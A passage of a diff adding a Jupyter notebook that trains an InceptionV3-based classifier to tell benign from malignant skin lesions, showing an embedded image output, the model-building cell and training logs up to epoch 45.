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",
+ "text/plain": [
+ ""
+ ]
+ },
+ "metadata": {
+ "needs_background": "light"
+ },
+ "output_type": "display_data"
+ }
+ ],
+ "source": [
+ "batch = next(iter(valid_ds))\n",
+ "\n",
+ "def show_batch(batch):\n",
+ " plt.figure(figsize=(12,12))\n",
+ " for n in range(25):\n",
+ " ax = plt.subplot(5,5,n+1)\n",
+ " plt.imshow(batch[0][n])\n",
+ " plt.title(class_names[batch[1][n].numpy()].title())\n",
+ " plt.axis('off')\n",
+ " \n",
+ "show_batch(batch)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 8,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "brz9lVkookRx",
+ "outputId": "c5d3f8de-9d18-4e78-bb9d-8893fe3cad07"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Model: \"sequential\"\n",
+ "_________________________________________________________________\n",
+ " Layer (type) Output Shape Param # \n",
+ "=================================================================\n",
+ " keras_layer (KerasLayer) (None, 2048) 21802784 \n",
+ " \n",
+ " dense (Dense) (None, 1) 2049 \n",
+ " \n",
+ "=================================================================\n",
+ "Total params: 21,804,833\n",
+ "Trainable params: 2,049\n",
+ "Non-trainable params: 21,802,784\n",
+ "_________________________________________________________________\n"
+ ]
+ }
+ ],
+ "source": [
+ "# building the model\n",
+ "# InceptionV3 model & pre-trained weights\n",
+ "module_url = \"https://tfhub.dev/google/tf2-preview/inception_v3/feature_vector/4/"\n",
+ "m = tf.keras.Sequential([\n",
+ " hub.KerasLayer(module_url, output_shape=[2048], trainable=False),\n",
+ " tf.keras.layers.Dense(1, activation=\"sigmoid\")\n",
+ "])\n",
+ "\n",
+ "m.build([None, 299, 299, 3])\n",
+ "m.compile(loss=\"binary_crossentropy\", optimizer=optimizer, metrics=[\"accuracy\"])\n",
+ "m.summary()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 9,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "uUEJ9zVKoloS",
+ "outputId": "a218a2ee-1c4f-41fc-83b7-fc603b06283f"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Epoch 1/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.4572 - accuracy: 0.7772\n",
+ "Epoch 1: val_loss improved from inf to 0.55681, saving model to benign-vs-malignant_64_rmsprop_0.557.h5\n",
+ "31/31 [==============================] - 178s 3s/step - loss: 0.4572 - accuracy: 0.7772 - val_loss: 0.5568 - val_accuracy: 0.7891\n",
+ "Epoch 2/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.4020 - accuracy: 0.8130\n",
+ "Epoch 2: val_loss improved from 0.55681 to 0.48952, saving model to benign-vs-malignant_64_rmsprop_0.490.h5\n",
+ "31/31 [==============================] - 9s 286ms/step - loss: 0.4020 - accuracy: 0.8130 - val_loss: 0.4895 - val_accuracy: 0.8125\n",
+ "Epoch 3/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3823 - accuracy: 0.8266\n",
+ "Epoch 3: val_loss improved from 0.48952 to 0.47676, saving model to benign-vs-malignant_64_rmsprop_0.477.h5\n",
+ "31/31 [==============================] - 8s 267ms/step - loss: 0.3823 - accuracy: 0.8266 - val_loss: 0.4768 - val_accuracy: 0.8047\n",
+ "Epoch 4/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3637 - accuracy: 0.8251\n",
+ "Epoch 4: val_loss did not improve from 0.47676\n",
+ "31/31 [==============================] - 8s 254ms/step - loss: 0.3637 - accuracy: 0.8251 - val_loss: 0.5025 - val_accuracy: 0.7812\n",
+ "Epoch 5/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3633 - accuracy: 0.8387\n",
+ "Epoch 5: val_loss improved from 0.47676 to 0.45733, saving model to benign-vs-malignant_64_rmsprop_0.457.h5\n",
+ "31/31 [==============================] - 9s 289ms/step - loss: 0.3633 - accuracy: 0.8387 - val_loss: 0.4573 - val_accuracy: 0.7891\n",
+ "Epoch 6/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3477 - accuracy: 0.8432\n",
+ "Epoch 6: val_loss did not improve from 0.45733\n",
+ "31/31 [==============================] - 8s 266ms/step - loss: 0.3477 - accuracy: 0.8432 - val_loss: 0.4644 - val_accuracy: 0.7734\n",
+ "Epoch 7/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3419 - accuracy: 0.8463\n",
+ "Epoch 7: val_loss did not improve from 0.45733\n",
+ "31/31 [==============================] - 9s 279ms/step - loss: 0.3419 - accuracy: 0.8463 - val_loss: 0.4624 - val_accuracy: 0.7812\n",
+ "Epoch 8/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3402 - accuracy: 0.8493\n",
+ "Epoch 8: val_loss improved from 0.45733 to 0.42326, saving model to benign-vs-malignant_64_rmsprop_0.423.h5\n",
+ "31/31 [==============================] - 9s 292ms/step - loss: 0.3402 - accuracy: 0.8493 - val_loss: 0.4233 - val_accuracy: 0.7969\n",
+ "Epoch 9/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3494 - accuracy: 0.8438\n",
+ "Epoch 9: val_loss improved from 0.42326 to 0.40612, saving model to benign-vs-malignant_64_rmsprop_0.406.h5\n",
+ "31/31 [==============================] - 9s 279ms/step - loss: 0.3494 - accuracy: 0.8438 - val_loss: 0.4061 - val_accuracy: 0.8281\n",
+ "Epoch 10/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3237 - accuracy: 0.8564\n",
+ "Epoch 10: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 260ms/step - loss: 0.3237 - accuracy: 0.8564 - val_loss: 0.4904 - val_accuracy: 0.7500\n",
+ "Epoch 11/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3242 - accuracy: 0.8543\n",
+ "Epoch 11: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.3242 - accuracy: 0.8543 - val_loss: 0.4568 - val_accuracy: 0.7891\n",
+ "Epoch 12/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3337 - accuracy: 0.8473\n",
+ "Epoch 12: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 258ms/step - loss: 0.3337 - accuracy: 0.8473 - val_loss: 0.4702 - val_accuracy: 0.8125\n",
+ "Epoch 13/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3350 - accuracy: 0.8453\n",
+ "Epoch 13: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 258ms/step - loss: 0.3350 - accuracy: 0.8453 - val_loss: 0.4289 - val_accuracy: 0.8203\n",
+ "Epoch 14/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3050 - accuracy: 0.8649\n",
+ "Epoch 14: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 258ms/step - loss: 0.3050 - accuracy: 0.8649 - val_loss: 0.4649 - val_accuracy: 0.7812\n",
+ "Epoch 15/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3208 - accuracy: 0.8553\n",
+ "Epoch 15: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 259ms/step - loss: 0.3208 - accuracy: 0.8553 - val_loss: 0.4498 - val_accuracy: 0.8203\n",
+ "Epoch 16/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3111 - accuracy: 0.8604\n",
+ "Epoch 16: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 259ms/step - loss: 0.3111 - accuracy: 0.8604 - val_loss: 0.4252 - val_accuracy: 0.7969\n",
+ "Epoch 17/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3210 - accuracy: 0.8574\n",
+ "Epoch 17: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 259ms/step - loss: 0.3210 - accuracy: 0.8574 - val_loss: 0.4702 - val_accuracy: 0.7734\n",
+ "Epoch 18/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3028 - accuracy: 0.8765\n",
+ "Epoch 18: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.3028 - accuracy: 0.8765 - val_loss: 0.4752 - val_accuracy: 0.7734\n",
+ "Epoch 19/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3036 - accuracy: 0.8669\n",
+ "Epoch 19: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 258ms/step - loss: 0.3036 - accuracy: 0.8669 - val_loss: 0.4204 - val_accuracy: 0.8125\n",
+ "Epoch 20/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3075 - accuracy: 0.8639\n",
+ "Epoch 20: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 279ms/step - loss: 0.3075 - accuracy: 0.8639 - val_loss: 0.4451 - val_accuracy: 0.7969\n",
+ "Epoch 21/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2993 - accuracy: 0.8679\n",
+ "Epoch 21: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2993 - accuracy: 0.8679 - val_loss: 0.4430 - val_accuracy: 0.7969\n",
+ "Epoch 22/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2991 - accuracy: 0.8705\n",
+ "Epoch 22: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2991 - accuracy: 0.8705 - val_loss: 0.4204 - val_accuracy: 0.8047\n",
+ "Epoch 23/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3090 - accuracy: 0.8684\n",
+ "Epoch 23: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.3090 - accuracy: 0.8684 - val_loss: 0.4201 - val_accuracy: 0.8125\n",
+ "Epoch 24/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2859 - accuracy: 0.8770\n",
+ "Epoch 24: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2859 - accuracy: 0.8770 - val_loss: 0.4652 - val_accuracy: 0.8047\n",
+ "Epoch 25/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2935 - accuracy: 0.8775\n",
+ "Epoch 25: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2935 - accuracy: 0.8775 - val_loss: 0.4515 - val_accuracy: 0.7969\n",
+ "Epoch 26/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2992 - accuracy: 0.8684\n",
+ "Epoch 26: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2992 - accuracy: 0.8684 - val_loss: 0.4439 - val_accuracy: 0.8047\n",
+ "Epoch 27/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2932 - accuracy: 0.8740\n",
+ "Epoch 27: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 260ms/step - loss: 0.2932 - accuracy: 0.8740 - val_loss: 0.4450 - val_accuracy: 0.7969\n",
+ "Epoch 28/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2705 - accuracy: 0.8891\n",
+ "Epoch 28: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 279ms/step - loss: 0.2705 - accuracy: 0.8891 - val_loss: 0.4545 - val_accuracy: 0.8281\n",
+ "Epoch 29/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.3051 - accuracy: 0.8750\n",
+ "Epoch 29: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.3051 - accuracy: 0.8750 - val_loss: 0.4320 - val_accuracy: 0.8203\n",
+ "Epoch 30/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2916 - accuracy: 0.8730\n",
+ "Epoch 30: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 276ms/step - loss: 0.2916 - accuracy: 0.8730 - val_loss: 0.4369 - val_accuracy: 0.8125\n",
+ "Epoch 31/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2837 - accuracy: 0.8735\n",
+ "Epoch 31: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 276ms/step - loss: 0.2837 - accuracy: 0.8735 - val_loss: 0.4300 - val_accuracy: 0.8047\n",
+ "Epoch 32/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2712 - accuracy: 0.8906\n",
+ "Epoch 32: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2712 - accuracy: 0.8906 - val_loss: 0.4716 - val_accuracy: 0.7578\n",
+ "Epoch 33/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2739 - accuracy: 0.8805\n",
+ "Epoch 33: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2739 - accuracy: 0.8805 - val_loss: 0.4451 - val_accuracy: 0.8047\n",
+ "Epoch 34/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2800 - accuracy: 0.8760\n",
+ "Epoch 34: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 259ms/step - loss: 0.2800 - accuracy: 0.8760 - val_loss: 0.4490 - val_accuracy: 0.7969\n",
+ "Epoch 35/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2755 - accuracy: 0.8861\n",
+ "Epoch 35: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 261ms/step - loss: 0.2755 - accuracy: 0.8861 - val_loss: 0.4165 - val_accuracy: 0.8203\n",
+ "Epoch 36/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2857 - accuracy: 0.8750\n",
+ "Epoch 36: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2857 - accuracy: 0.8750 - val_loss: 0.4541 - val_accuracy: 0.7734\n",
+ "Epoch 37/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2806 - accuracy: 0.8826\n",
+ "Epoch 37: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2806 - accuracy: 0.8826 - val_loss: 0.4556 - val_accuracy: 0.8125\n",
+ "Epoch 38/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2637 - accuracy: 0.8916\n",
+ "Epoch 38: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2637 - accuracy: 0.8916 - val_loss: 0.4860 - val_accuracy: 0.7656\n",
+ "Epoch 39/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2749 - accuracy: 0.8876\n",
+ "Epoch 39: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 260ms/step - loss: 0.2749 - accuracy: 0.8876 - val_loss: 0.4398 - val_accuracy: 0.8047\n",
+ "Epoch 40/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2701 - accuracy: 0.8926\n",
+ "Epoch 40: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 278ms/step - loss: 0.2701 - accuracy: 0.8926 - val_loss: 0.4391 - val_accuracy: 0.8281\n",
+ "Epoch 41/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2720 - accuracy: 0.8846\n",
+ "Epoch 41: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 261ms/step - loss: 0.2720 - accuracy: 0.8846 - val_loss: 0.4706 - val_accuracy: 0.8125\n",
+ "Epoch 42/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2778 - accuracy: 0.8866\n",
+ "Epoch 42: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 260ms/step - loss: 0.2778 - accuracy: 0.8866 - val_loss: 0.4745 - val_accuracy: 0.7891\n",
+ "Epoch 43/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2762 - accuracy: 0.8831\n",
+ "Epoch 43: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 9s 277ms/step - loss: 0.2762 - accuracy: 0.8831 - val_loss: 0.4988 - val_accuracy: 0.8047\n",
+ "Epoch 44/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2647 - accuracy: 0.8841\n",
+ "Epoch 44: val_loss did not improve from 0.40612\n",
+ "31/31 [==============================] - 8s 259ms/step - loss: 0.2647 - accuracy: 0.8841 - val_loss: 0.4365 - val_accuracy: 0.8125\n",
+ "Epoch 45/100\n",
+ "31/31 [==============================] - ETA: 0s - loss: 0.2729 - accuracy: 0.8871\n",
+ "Epoch 45: val_loss did not improve from 0.40612\n",
